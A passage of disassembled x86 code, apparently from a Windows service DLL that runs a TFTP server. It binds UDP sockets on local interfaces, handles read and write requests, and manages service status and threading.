		jz	loc_100172C
		call	ds:GetLastError
		jmp	loc_100172C
sub_1001665	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100188E(SOCKET s, HANDLE hEventObject, char)

sub_100188E	proc near		; CODE XREF: sub_100205A+D5p
					; sub_1002F31+2A8p ...

var_4		= dword	ptr -4
s		= dword	ptr  8
hEventObject	= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	3		; lNetworkEvents
		push	[ebp+hEventObject] ; hEventObject
		push	[ebp+s]		; s
		call	ds:WSAEventSelect	; WSAEventSelect
		test	eax, eax
		jz	short loc_10018AE
		call	ds:GetLastError
		xor	eax, eax
		jmp	short locret_10018D7
; ---------------------------------------------------------------------------


loc_10018AE:				; CODE XREF: sub_100188E+14j
		test	[ebp+arg_8], 1
		push	0
		push	0FFFFFFFFh
		push	[ebp+s]
		jz	short loc_10018C2
		push	offset loc_1001D74
		jmp	short loc_10018C7
; ---------------------------------------------------------------------------


loc_10018C2:				; CODE XREF: sub_100188E+2Bj
		push	offset loc_1001DDB


loc_10018C7:				; CODE XREF: sub_100188E+32j
		push	[ebp+hEventObject]
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:RtlRegisterWait	; RtlRegisterWait
		mov	eax, [ebp+var_4]

locret_10018D7:				; CODE XREF: sub_100188E+1Ej
		leave
		retn	0Ch
sub_100188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10018DB	proc near		; CODE XREF: sub_1001665+1FEp

Memory		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:InitializeCriticalSection
		push	edi
		push	offset CriticalSection ; lpCriticalSection
		call	esi ; InitializeCriticalSection
		push	offset stru_1006020 ; lpCriticalSection
		call	esi ; InitializeCriticalSection
		mov	eax, offset dword_1006098
		mov	dword_100609C, eax
		mov	dword_1006098, eax
		mov	eax, offset Memory
		mov	dword_100603C, eax
		mov	Memory,	eax
		lea	eax, [ebp+Memory]
		push	eax
		call	sub_1001FA6
		xor	esi, esi
		test	eax, eax
		jnz	short loc_1001957
		mov	eax, [ebp+Memory]
		xor	ebx, ebx
		cmp	[eax], esi
		jbe	short loc_100194F
		xor	edi, edi


loc_100192E:				; CODE XREF: sub_10018DB+72j
		mov	ecx, [eax+edi+4]
		cmp	ecx, esi
		jz	short loc_1001947
		cmp	ecx, 100007Fh
		jz	short loc_1001947
		push	ecx		; in
		call	sub_100205A
		mov	eax, [ebp+Memory]


loc_1001947:				; CODE XREF: sub_10018DB+59j
					; sub_10018DB+61j
		inc	ebx
		add	edi, 18h
		cmp	ebx, [eax]
		jb	short loc_100192E


loc_100194F:				; CODE XREF: sub_10018DB+4Fj
		push	eax		; Memory
		call	ds:free	; free
		pop	ecx


loc_1001957:				; CODE XREF: sub_10018DB+46j
		push	offset dword_10060A0
		call	ds:RtlCreateTimerQueue	; RtlCreateTimerQueue
		cmp	eax, esi
		jnz	loc_10019EB
		mov	eax, 0EA60h
		push	esi
		push	eax
		push	eax
		push	esi
		push	offset sub_10029BA
		push	offset dword_1006048
		push	dword_10060A0
		call	ds:RtlCreateTimer	; RtlCreateTimer
		push	esi		; lpName
		push	esi		; bInitialState
		push	esi		; bManualReset
		push	esi		; lpEventAttributes
		mov	edi, eax
		call	ds:CreateEventA	; CreateEventA
		cmp	eax, esi
		mov	dword_1005DF8, eax
		jnz	short loc_10019A2
		mov	eax, edi
		jmp	short loc_10019EB
; ---------------------------------------------------------------------------


loc_10019A2:				; CODE XREF: sub_10018DB+C1j
		push	esi
		push	0FFFFFFFFh
		push	esi
		push	offset sub_1002219
		push	eax
		push	offset dword_1005DFC
		call	ds:RtlRegisterWait	; RtlRegisterWait
		cmp	eax, esi
		jnz	short loc_10019EB
		mov	ecx, offset overlapped
		xor	eax, eax
		mov	edi, ecx
		push	ecx		; overlapped
		stosd
		stosd
		stosd
		stosd
		stosd
		mov	eax, dword_1005DF8
		push	offset Handle	; Handle
		mov	overlapped.hEvent, eax
		call	NotifyAddrChange	; NotifyAddrChange
		cmp	eax, esi
		jz	short loc_10019E9
		cmp	eax, 3E5h
		jnz	short loc_10019EB


loc_10019E9:				; CODE XREF: sub_10018DB+105j
		xor	eax, eax


loc_10019EB:				; CODE XREF: sub_10018DB+89j
					; sub_10018DB+C5j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10018DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_10019F0	proc near		; CODE XREF: sub_1001665+203p
		mov	eax, offset lpMem
		push	offset stru_1006060 ; lpCriticalSection
		mov	dword_100607C, eax
		mov	lpMem, eax
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		push	0		; dwMaximumSize
		push	0EFD1Ch		; dwInitialSize
		push	0		; flOptions
		call	ds:HeapCreate	; HeapCreate
		mov	hHeap, eax
		retn
sub_10019F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A1F	proc near		; CODE XREF: sub_10029BA+79p
		push	ebx
		push	esi
		mov	ebx, offset stru_1006060
		push	edi
		push	ebx		; lpCriticalSection
		xor	esi, esi
		call	ds:EnterCriticalSection
		mov	eax, dword_1005DF0
		sub	eax, dword_1005DF4
		cmp	eax, 0Ah
		jbe	short loc_1001A46
		shr	eax, 1
		mov	esi, eax
		jmp	short loc_1001A4E
; ---------------------------------------------------------------------------


loc_1001A46:				; CODE XREF: sub_1001A1F+1Fj
		cmp	eax, 3
		jbe	short loc_1001A4E
		push	2
		pop	esi


loc_1001A4E:				; CODE XREF: sub_1001A1F+25j
					; sub_1001A1F+2Aj
		test	esi, esi
		jbe	short loc_1001A86
		mov	edi, esi


loc_1001A54:				; CODE XREF: sub_1001A1F+65j
		mov	eax, lpMem
		mov	esi, eax
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		push	dword ptr [esi+30h] ; hObject
		call	ds:CloseHandle	; CloseHandle
		push	esi		; lpMem
		push	0		; dwFlags
		push	hHeap		; hHeap
		call	ds:HeapFree
		dec	dword_1005DF0
		dec	edi
		jnz	short loc_1001A54


loc_1001A86:				; CODE XREF: sub_1001A1F+31j
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1001A1F	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1001A91(SOCKET s, int)

sub_1001A91	proc near		; CODE XREF: .text:01001DCCp
					; .text:01001DE1p

dwFlags		= dword	ptr -10004h
argp		= dword	ptr -10000h
Fromlen		= dword	ptr -0FFFCh
var_FFF8	= dword	ptr -0FFF8h
Buffers		= _WSABUF ptr -0FFF4h
Handles		= dword	ptr -0FFECh
var_FFE8	= dword	ptr -0FFE8h
Overlapped	= _OVERLAPPED ptr -0FFE4h
to		= sockaddr ptr -0FFD0h
var_FFC0	= dword	ptr -0FFC0h
s		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, 10004h
		call	_chkstk	; _chkstk
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	[esp+10014h+dwFlags], ebp
		mov	ebx, offset stru_1006060


loc_1001AAA:				; CODE XREF: sub_1001A91+291j
		lea	eax, [esp+10014h+argp]
		push	eax		; argp
		push	4004667Fh	; cmd
		push	[esp+1001Ch+s]	; s
		call	ds:ioctlsocket	; ioctlsocket
		cmp	eax, ebp
		jnz	loc_1001D27
		cmp	[esp+10014h+argp], ebp
		jz	loc_1001D65
		xor	eax, eax
		lea	edi, [esp+10014h+Overlapped]
		stosd
		stosd
		stosd
		stosd
		push	ebx		; lpCriticalSection
		stosd
		call	ds:EnterCriticalSection
		mov	eax, lpMem
		inc	dword_1005DF4
		cmp	eax, offset lpMem
		jz	short loc_1001B11
		mov	ecx, [eax]
		mov	esi, eax
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		push	dword ptr [esi+30h] ; hEvent
		call	ds:ResetEvent	; ResetEvent
		mov	eax, [esi+30h]
		jmp	short loc_1001B41
; ---------------------------------------------------------------------------


loc_1001B11:				; CODE XREF: sub_1001A91+64j
		inc	dword_1005DF0
		push	2FF6Ch		; dwBytes
		push	8		; dwFlags
		push	hHeap		; hHeap
		call	ds:HeapAlloc
		mov	esi, eax
		cmp	esi, ebp
		jz	loc_1001D5E
		push	ebp		; lpName
		push	ebp		; bInitialState
		push	ebp		; bManualReset
		push	ebp		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		mov	[esi+30h], eax


loc_1001B41:				; CODE XREF: sub_1001A91+7Ej
		push	ebx		; lpCriticalSection
		mov	[esp+10018h+Overlapped.hEvent],	eax
		call	ds:LeaveCriticalSection
		lea	ebp, [esi+34h]
		mov	ecx, 3FEFh
		xor	eax, eax
		mov	edi, ebp
		rep stosd
		stosb
		mov	eax, [esp+10014h+arg_4]
		mov	[esp+10014h+Buffers.buf], ebp
		mov	[esp+10014h+Buffers.len], 0FFBDh
		mov	[esp+10014h+Fromlen], 10h
		mov	[esi+1Ch], eax
		lea	eax, [esp+10014h+Overlapped]
		push	0		; lpCompletionRoutine
		push	eax		; lpOverlapped
		lea	eax, [esp+1001Ch+Fromlen]
		lea	edi, [esi+2Ch]
		push	eax		; lpFromlen
		lea	eax, [esi+0Ch]
		push	eax		; lpFrom
		lea	eax, [esp+10024h+dwFlags]
		push	eax		; lpFlags
		push	edi		; lpNumberOfBytesRecvd
		lea	eax, [esp+1002Ch+Buffers]
		push	1		; dwBufferCount
		push	eax		; lpBuffers
		push	[esp+10034h+s]	; s
		call	ds:WSARecvFrom	; WSARecvFrom
		mov	[esp+10014h+var_FFF8], eax
		mov	ax, [esi+0Eh]
		push	eax		; netshort
		call	ds:ntohs	; ntohs
		cmp	[esp+10014h+var_FFF8], 0
		jz	short loc_1001C34
		call	ds:WSAGetLastError	; WSAGetLastError
		cmp	eax, 3E5h
		jnz	loc_1001D2F
		mov	eax, hHandle
		push	0FFFFFFFFh	; dwMilliseconds
		mov	[esp+10018h+Handles], eax
		mov	eax, [esp+10018h+Overlapped.hEvent]
		mov	[esp+10018h+var_FFE8], eax
		lea	eax, [esp+10018h+Handles]
		push	0		; bWaitAll
		push	eax		; lpHandles
		push	2		; nCount
		call	ds:WaitForMultipleObjects	; WaitForMultipleObjects
		cmp	eax, 0FFFFFFFFh
		jz	loc_1001D2F
		cmp	eax, 102h
		jz	loc_1001D2F
		test	eax, eax
		jz	loc_1001D2F
		lea	eax, [esp+10014h+dwFlags]
		push	eax		; lpdwFlags
		push	0		; fWait
		lea	eax, [esp+1001Ch+Overlapped]
		push	edi		; lpcbTransfer
		push	eax		; lpOverlapped
		push	[esp+10024h+s]	; s
		call	ds:WSAGetOverlappedResult	; WSAGetOverlappedResult
		test	eax, eax
		jnz	short loc_1001C34
		call	ds:WSAGetLastError	; WSAGetLastError
		jmp	loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001C34:				; CODE XREF: sub_1001A91+129j
					; sub_1001A91+196j
		push	0		; dwMilliseconds
		push	hHandle		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		test	eax, eax
		jz	loc_1001D2F
		cmp	dword ptr [edi], 2
		jl	loc_1001CEA
		xor	edi, edi
		cmp	[esp+10014h+arg_4], edi
		jz	short loc_1001CDA
		mov	ax, [ebp+0]
		push	eax		; hostshort
		call	ds:htons	; htons
		movzx	ecx, ax
		test	ecx, ecx
		jle	short loc_1001CB8
		cmp	ecx, 2
		jle	short loc_1001C81
		cmp	ecx, 4
		jz	short loc_1001CB8
		cmp	ecx, 5
		jnz	short loc_1001CB8
		jmp	short loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001C81:				; CODE XREF: sub_1001A91+1E2j
		cmp	ax, 1
		jnz	short loc_1001C94
		inc	dword ptr Time+4
		mov	edi, offset sub_1002F31
		jmp	short loc_1001CA5
; ---------------------------------------------------------------------------


loc_1001C94:				; CODE XREF: sub_1001A91+1F4j
		cmp	ax, 2
		jnz	short loc_1001CA5
		inc	dword_10060C8
		mov	edi, offset sub_100333A


loc_1001CA5:				; CODE XREF: sub_1001A91+201j
					; sub_1001A91+207j
		mov	eax, [esp+10014h+s]
		test	edi, edi
		mov	[esi+8], eax
		jz	short loc_1001CEA
		push	esi
		call	edi ; sub_1002F31
		jmp	short loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001CB8:				; CODE XREF: sub_1001A91+1DDj
					; sub_1001A91+1E7j ...
		push	0		; int
		push	4		; hostshort
		push	[esp+1001Ch+s]	; s
		inc	dword_10060CC
		lea	eax, [esp+10020h+var_FFC0]
		push	eax		; int
		lea	eax, [esp+10024h+to]
		push	eax		; to
		call	sub_100230A
		jmp	short loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001CDA:				; CODE XREF: sub_1001A91+1CBj
		mov	eax, [esp+10014h+s]
		push	esi
		mov	[esi+8], eax
		call	sub_1002EC8


loc_1001CEA:				; CODE XREF: sub_1001A91+19Ej
					; sub_1001A91+1BCj ...
		push	ebx		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	eax, lpMem
		mov	dword ptr [esi+4], offset lpMem
		mov	[esi], eax
		push	offset Addend	; lpAddend
		mov	[eax+4], esi
		mov	lpMem, esi
		call	ds:InterlockedIncrement	; InterlockedIncrement
		dec	dword_1005DF4
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection
		xor	ebp, ebp
		jmp	loc_1001AAA
; ---------------------------------------------------------------------------


loc_1001D27:				; CODE XREF: sub_1001A91+32j
		call	ds:WSAGetLastError	; WSAGetLastError
		jmp	short loc_1001D65
; ---------------------------------------------------------------------------


loc_1001D2F:				; CODE XREF: sub_1001A91+136j
					; sub_1001A91+161j ...
		push	ebx		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	eax, lpMem
		mov	dword ptr [esi+4], offset lpMem
		mov	[esi], eax
		push	offset Addend	; lpAddend
		mov	[eax+4], esi
		mov	lpMem, esi
		call	ds:InterlockedIncrement	; InterlockedIncrement
		dec	dword_1005DF4


loc_1001D5E:				; CODE XREF: sub_1001A91+9Dj
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1001D65:				; CODE XREF: sub_1001A91+3Cj
					; sub_1001A91+29Cj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10004h
		retn	8
sub_1001A91	endp

; ---------------------------------------------------------------------------


loc_1001D74:				; DATA XREF: sub_100188E+2Do
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, offset stru_1006020
		push	edi
		mov	edi, ds:TryEnterCriticalSection
		push	esi
		xor	ebp, ebp
		xor	ebx, ebx
		call	edi ; TryEnterCriticalSection


loc_1001D8B:				; CODE XREF: .text:01001DA1j
		test	eax, eax
		jnz	short loc_1001DA7
		push	0C8h
		call	ds:Sleep	; Sleep
		push	esi
		call	edi ; TryEnterCriticalSection
		inc	ebx
		cmp	ebx, 7Dh
		jb	short loc_1001D8B
		test	eax, eax
		jz	short loc_1001DD1


loc_1001DA7:				; CODE XREF: .text:01001D8Dj
		lea	eax, [esp+10h]
		push	eax
		push	dword ptr [esp+1Ch]
		call	sub_10021E5
		test	eax, eax
		jnz	short loc_1001DC0
		mov	eax, [esp+10h]
		mov	ebp, [eax+0Ch]


loc_1001DC0:				; CODE XREF: .text:01001DB7j
		push	esi
		call	ds:LeaveCriticalSection
		push	ebp
		push	dword ptr [esp+1Ch]
		call	sub_1001A91


loc_1001DD1:				; CODE XREF: .text:01001DA5j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_1001DDB:				; DATA XREF: sub_100188E:loc_10018C2o
		push	0
		push	dword ptr [esp+8]
		call	sub_1001A91
		xor	eax, eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __stdcall HandlerProc(DWORD)

HandlerProc	proc near		; DATA XREF: sub_1001665+6o

Time		= qword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+Time]
		push	eax		; Time
		call	ds:time	; time
		inc	ServiceStatus.dwCheckPoint
		pop	ecx
		lea	eax, [ebp+Time]
		push	eax		; Time
		call	ds:ctime	; ctime
		mov	eax, [ebp+arg_0]
		pop	ecx
		dec	eax
		jz	short loc_1001E68
		dec	eax
		jz	short loc_1001E35
		dec	eax
		jz	short loc_1001E1D
		dec	eax
		dec	eax
		jz	short loc_1001E68
		jmp	short loc_1001E4B
; ---------------------------------------------------------------------------


loc_1001E1D:				; CODE XREF: HandlerProc+2Aj
		push	hThread		; hThread
		call	ds:ResumeThread	; ResumeThread
		mov	ServiceStatus.dwCurrentState, 4
		jmp	short loc_1001E4B
; ---------------------------------------------------------------------------


loc_1001E35:				; CODE XREF: HandlerProc+27j
		push	hThread		; hThread
		call	ds:SuspendThread	; SuspendThread
		mov	ServiceStatus.dwCurrentState, 7


loc_1001E4B:				; CODE XREF: HandlerProc+30j
					; HandlerProc+48j
		push	offset ServiceStatus ; lpServiceStatus
		push	hServiceStatus	; hServiceStatus
		call	ds:SetServiceStatus	; SetServiceStatus
		test	eax, eax
		jnz	short locret_1001E6F
		call	ds:GetLastError
		jmp	short locret_1001E6F
; ---------------------------------------------------------------------------


loc_1001E68:				; CODE XREF: HandlerProc+24j
					; HandlerProc+2Ej
		push	0
		call	sub_1001E73

locret_1001E6F:				; CODE XREF: HandlerProc+73j
					; HandlerProc+7Bj
		leave
		retn	4
HandlerProc	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001E73	proc near		; CODE XREF: sub_1001665+B9p
					; HandlerProc+7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:SetServiceStatus
		push	edi
		mov	edi, offset ServiceStatus
		push	edi		; lpServiceStatus
		mov	ServiceStatus.dwCurrentState, 3
		push	hServiceStatus	; hServiceStatus
		call	esi ; SetServiceStatus
		mov	ebp, ds:GetLastError
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_1001EA3
		call	ebp ; GetLastError


loc_1001EA3:				; CODE XREF: sub_1001E73+2Cj
		push	hHandle		; hEvent
		call	ds:SetEvent	; SetEvent
		mov	ServiceStatus.dwCurrentState, 1
		mov	ServiceStatus.dwCheckPoint, ebx
		mov	eax, [esp+10h+arg_0]
		mov	ServiceStatus.dwWaitHint, ebx
		cmp	eax, ebx
		jnz	short loc_1001EDB
		mov	ServiceStatus.dwWin32ExitCode, ebx
		mov	ServiceStatus.dwServiceSpecificExitCode, ebx
		jmp	short loc_1001EFD
; ---------------------------------------------------------------------------


loc_1001EDB:				; CODE XREF: sub_1001E73+58j
		cmp	eax, 834h
		jb	short loc_1001EF3
		cmp	eax, 16A7h
		mov	ServiceStatus.dwWin32ExitCode, 42Ah
		jbe	short loc_1001EF8


loc_1001EF3:				; CODE XREF: sub_1001E73+6Dj
		mov	ServiceStatus.dwWin32ExitCode, eax


loc_1001EF8:				; CODE XREF: sub_1001E73+7Ej
		mov	ServiceStatus.dwServiceSpecificExitCode, eax


loc_1001EFD:				; CODE XREF: sub_1001E73+66j
		push	edi		; lpServiceStatus
		push	hServiceStatus	; hServiceStatus
		call	esi ; SetServiceStatus
		cmp	eax, ebx
		jnz	short loc_1001F0C
		call	ebp ; GetLastError


loc_1001F0C:				; CODE XREF: sub_1001E73+95j
		mov	eax, hObject
		mov	esi, ds:CloseHandle
		cmp	eax, ebx
		jz	short loc_1001F24
		push	eax		; hObject
		call	esi ; CloseHandle
		mov	hObject, ebx


loc_1001F24:				; CODE XREF: sub_1001E73+A6j
		mov	eax, hHandle
		cmp	eax, ebx
		jz	short loc_1001F36
		push	eax		; hObject
		call	esi ; CloseHandle
		mov	hHandle, ebx


loc_1001F36:				; CODE XREF: sub_1001E73+B8j
		mov	eax, File
		cmp	eax, ebx
		jz	short loc_1001F4D
		push	eax		; File
		call	ds:fclose	; fclose
		pop	ecx
		mov	File, ebx


loc_1001F4D:				; CODE XREF: sub_1001E73+CAj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_1001E73	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1001F54(void *Memory)

sub_1001F54	proc near		; CODE XREF: sub_1002182+1Cp
					; sub_1002219+B7p

Memory		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Memory]
		push	0FFFFFFFFh
		push	dword ptr [esi+10h]
		call	ds:RtlDeregisterWaitEx	; RtlDeregisterWaitEx
		push	dword ptr [esi+8] ; s
		call	ds:closesocket	; closesocket
		push	dword ptr [esi+14h] ; hEvent
		call	ds:WSACloseEvent	; WSACloseEvent
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jnz	short loc_1001F90
		mov	eax, Memory
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		jmp	short loc_1001F9A
; ---------------------------------------------------------------------------


loc_1001F90:				; CODE XREF: sub_1001F54+29j
		mov	[ecx], eax
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx


loc_1001F9A:				; CODE XREF: sub_1001F54+3Aj
		push	esi		; Memory
		call	ds:free	; free
		pop	ecx
		pop	esi
		retn	4
sub_1001F54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001FA6	proc near		; CODE XREF: sub_10018DB+3Dp
					; sub_1002219+1Dp

var_8		= dword	ptr -8
Size		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		lea	eax, [ebp+Size]
		push	edi		; bOrder
		push	eax		; pdwSize
		push	edi		; pIpAddrTable
		mov	[ebp+Size], edi
		mov	[ebp+var_8], 0C0000017h
		mov	[ebx], edi
		call	GetIpAddrTable	; GetIpAddrTable
		cmp	eax, edi
		jz	short loc_1001FD3
		cmp	eax, 7Ah
		jnz	short loc_100201A


loc_1001FD3:				; CODE XREF: sub_1001FA6+26j
		push	[ebp+Size]	; Size
		call	ds:malloc	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	short loc_100201A


loc_1001FE3:				; CODE XREF: sub_1001FA6+63j
		lea	eax, [ebp+Size]
		push	edi		; bOrder
		push	eax		; pdwSize
		push	esi		; pIpAddrTable
		call	GetIpAddrTable	; GetIpAddrTable
		cmp	eax, edi
		jz	short loc_1002015
		cmp	eax, 7Ah
		jnz	short loc_100201A
		push	[ebp+Size]	; NewSize
		push	esi		; Memory
		call	ds:realloc	; realloc
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_100200B
		mov	esi, eax
		jmp	short loc_1001FE3
; ---------------------------------------------------------------------------


loc_100200B:				; CODE XREF: sub_1001FA6+5Fj
		push	esi		; Memory
		call	ds:free	; free
		pop	ecx
		jmp	short loc_100201A
; ---------------------------------------------------------------------------


loc_1002015:				; CODE XREF: sub_1001FA6+4Aj
		mov	[ebp+var_8], edi
		mov	[ebx], esi


loc_100201A:				; CODE XREF: sub_1001FA6+2Bj
					; sub_1001FA6+3Bj ...
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_1001FA6	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1002024(struct in_addr in, int)

sub_1002024	proc near		; CODE XREF: sub_100205A+B7p

in		= in_addr ptr  4
arg_4		= dword	ptr  8

		push	dword ptr [esp+in.S_un]	; in
		call	ds:inet_ntoa	; inet_ntoa
		test	eax, eax
		jz	short locret_1002057
		push	edi
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		push	esi
		mov	eax, ecx
		mov	esi, edi
		mov	edi, [esp+8+arg_4]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	esi
		pop	edi

locret_1002057:				; CODE XREF: sub_1002024+Cj
		retn	8
sub_1002024	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100205A(struct in_addr in)

sub_100205A	proc near		; CODE XREF: sub_10018DB+64p
					; sub_1002219+65p ...

var_28		= dword	ptr -28h
name		= sockaddr ptr -14h
var_4		= dword	ptr -4
in		= in_addr ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	[ebp+var_4], esi


loc_1002068:				; CODE XREF: sub_100205A+5Dj
		push	1		; dwFlags
		push	esi		; g
		push	esi		; lpProtocolInfo
		push	esi		; protocol
		push	2		; type
		push	2		; af
		call	ds:WSASocketA	; WSASocketA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_100209D
		xor	eax, eax
		lea	edi, [ebp+name]
		stosd
		stosd
		stosd
		push	offset proto	; "udp"
		push	offset name	; "tftp"
		stosd
		call	ds:getservbyname	; getservbyname
		cmp	eax, esi
		jnz	short loc_10020B9
		jmp	short loc_10020B1
; ---------------------------------------------------------------------------


loc_100209D:				; CODE XREF: sub_100205A+22j
		call	ds:WSAGetLastError	; WSAGetLastError
		push	2EEh		; dwMilliseconds
		call	ds:Sleep	; Sleep
		inc	[ebp+var_4]


loc_10020B1:				; CODE XREF: sub_100205A+41j
		cmp	[ebp+var_4], 0Ah
		jge	short loc_10020E6
		jmp	short loc_1002068
; ---------------------------------------------------------------------------


loc_10020B9:				; CODE XREF: sub_100205A+3Fj
		mov	[ebp+name.sa_family], 2
		mov	ax, [eax+8]
		mov	word ptr [ebp+name.sa_data], ax
		mov	eax, dword ptr [ebp+in.S_un]
		mov	dword ptr [ebp+name.sa_data+2],	eax
		lea	eax, [ebp+name]
		push	10h		; namelen
		push	eax		; name
		push	ebx		; s
		call	ds:bind	; bind
		test	eax, eax
		jz	short loc_10020E6
		call	ds:GetLastError
		jmp	short loc_100215E
; ---------------------------------------------------------------------------


loc_10020E6:				; CODE XREF: sub_100205A+5Bj
					; sub_100205A+82j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_100215E
		push	20h		; Size
		call	ds:malloc	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_100213D
		push	8
		xor	eax, eax
		pop	ecx
		mov	edi, esi
		rep stosd
		mov	eax, dword ptr [ebp+in.S_un]
		lea	ecx, [ebp+var_28]
		push	ecx		; int
		push	eax		; in
		mov	[esi+8], ebx
		mov	[esi+0Ch], eax
		call	sub_1002024
		xor	eax, eax
		push	eax		; lpName
		push	eax		; bInitialState
		push	eax		; bManualReset
		push	eax		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		mov	edi, eax
		test	edi, edi
		jz	short loc_1002140
		push	1		; char
		push	edi		; hEventObject
		push	ebx		; s
		mov	[esi+14h], edi
		call	sub_100188E
		test	eax, eax
		mov	[esi+10h], eax
		jnz	short loc_1002162
		jmp	short loc_1002140
; ---------------------------------------------------------------------------


loc_100213D:				; CODE XREF: sub_100205A+9Ej
		mov	edi, dword ptr [ebp+in.S_un]


loc_1002140:				; CODE XREF: sub_100205A+CCj
					; sub_100205A+E1j
		push	ebx		; s
		call	ds:closesocket	; closesocket
		test	edi, edi
		jz	short loc_1002152
		push	edi		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1002152:				; CODE XREF: sub_100205A+EFj
		test	esi, esi
		jz	short loc_100215E
		push	esi		; Memory
		call	ds:free	; free
		pop	ecx


loc_100215E:				; CODE XREF: sub_100205A+8Aj
					; sub_100205A+8Fj ...
		xor	eax, eax
		jmp	short loc_100217B
; ---------------------------------------------------------------------------


loc_1002162:				; CODE XREF: sub_100205A+DFj
		mov	eax, Memory
		mov	dword ptr [esi+4], offset Memory
		mov	[esi], eax
		mov	[eax+4], esi
		mov	Memory,	esi
		mov	eax, esi


loc_100217B:				; CODE XREF: sub_100205A+106j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_100205A	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002182	proc near		; CODE XREF: sub_1002219:loc_1002298p
		mov	ecx, Memory
		push	esi
		mov	esi, offset Memory
		xor	eax, eax
		cmp	ecx, esi
		jz	short loc_10021B3
		push	edi


loc_1002195:				; CODE XREF: sub_1002182+2Ej
		cmp	dword ptr [ecx+18h], 0
		mov	edi, [ecx]
		jnz	short loc_10021A8
		push	ecx		; Memory
		call	sub_1001F54
		push	1
		pop	eax
		jmp	short loc_10021AC
; ---------------------------------------------------------------------------


loc_10021A8:				; CODE XREF: sub_1002182+19j
		and	dword ptr [ecx+18h], 0


loc_10021AC:				; CODE XREF: sub_1002182+24j
		cmp	edi, esi
		mov	ecx, edi
		jnz	short loc_1002195
		pop	edi


loc_10021B3:				; CODE XREF: sub_1002182+10j
		pop	esi
		retn
sub_1002182	endp


; =============== S U B	R O U T	I N E =======================================



sub_10021B5	proc near		; CODE XREF: sub_1002219+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	ecx, offset Memory
		and	dword ptr [edx], 0
		mov	eax, Memory


loc_10021C7:				; CODE XREF: sub_10021B5+21j
		cmp	eax, ecx
		jz	short loc_10021DF
		mov	esi, [eax+0Ch]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_10021D8
		mov	eax, [eax]
		jmp	short loc_10021C7
; ---------------------------------------------------------------------------


